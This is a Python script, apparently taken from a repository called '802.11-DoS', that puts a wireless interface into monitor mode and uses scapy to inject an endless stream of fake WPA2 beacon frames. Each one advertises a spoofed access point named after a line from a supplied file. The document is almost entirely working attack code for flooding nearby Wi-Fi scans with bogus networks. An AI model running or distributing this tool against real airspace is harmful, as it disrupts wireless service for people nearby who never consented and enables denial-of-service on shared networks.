Creates a non-functional SSID for each line in the supplied file. Snippet from https://github.com/keaneokelley/802.11-DoS

beacon.py

#!/usr/bin/env python3
#
# pip install pywiface scapy termcolor
import os
import sys
from argparse import ArgumentParser
from time import sleep

from pywiface.interface import MonitorInterface
from pywiface.models import AP
from scapy.layers.dot11 import RadioTap, Dot11, Dot11Beacon, Dot11Elt
from termcolor import cprint


def send_beacon(interface: MonitorInterface, ap: AP, essid: str, channel: int):
    pkt = RadioTap() / Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=ap.bssid, addr3=ap.bssid) / \
          Dot11Beacon(cap=0x9104) / Dot11Elt(ID='SSID', info=essid, len=len(essid)) / \
          Dot11Elt(ID='RSNinfo', info=(
              '\x01\x00'  # RSN Version 1
              '\x00\x0f\xac\x04'  # Group Cipher Suite : 00-0f-ac CCMP
              '\x01\x00'  # 2 Pairwise Cipher Suite (next line)
              '\x00\x0f\xac\x04'  # AES Cipher
              '\x01\x00'  # 1 Authentication Key Managment Suite (line below)
              '\x00\x0f\xac\x02'  # Pre-Shared Key
              '\x00\x00'  # No extra RSN capabilities
          ))
    interface.inject(pkt)


def main():
    if os.getuid() != 0:
        print("Must be root!!! Exiting...")
        sys.exit()

    parser = ArgumentParser()
    parser.add_argument('mon_interface', help='The interface to use for scanning and deauth (must '
                                              'support packet injection)')
    parser.add_argument('-e', '--essid-file', dest='essid', help="File containing text to be used as ESSIDs")

    args = parser.parse_args()

    mon_interface = MonitorInterface(args.mon_interface)
    cprint("Enabled monitor mode on interface " + mon_interface.name, 'yellow')

    try:
        cprint("Sending lots of beacons...", 'red')
        with open(args.essid) as f:
            ssids = f.read().split('\n')
        while True:
            for i, line in enumerate(ssids):
                if line and len(line) <= 33 or True:
                    send_beacon(mon_interface,
                                 AP("{0:02x}:{1:02x}:de:ad:be:ef".format(int(i / 255), i % 255), essid=None,
                                    encrypt="WPA2", channel=1), line.encode(), 1)
            sleep(0.102)

    except KeyboardInterrupt:
        print()
        mon_interface.set_managed_mode()
        cprint("Exiting...", 'yellow')


if __name__ == '__main__':
    main()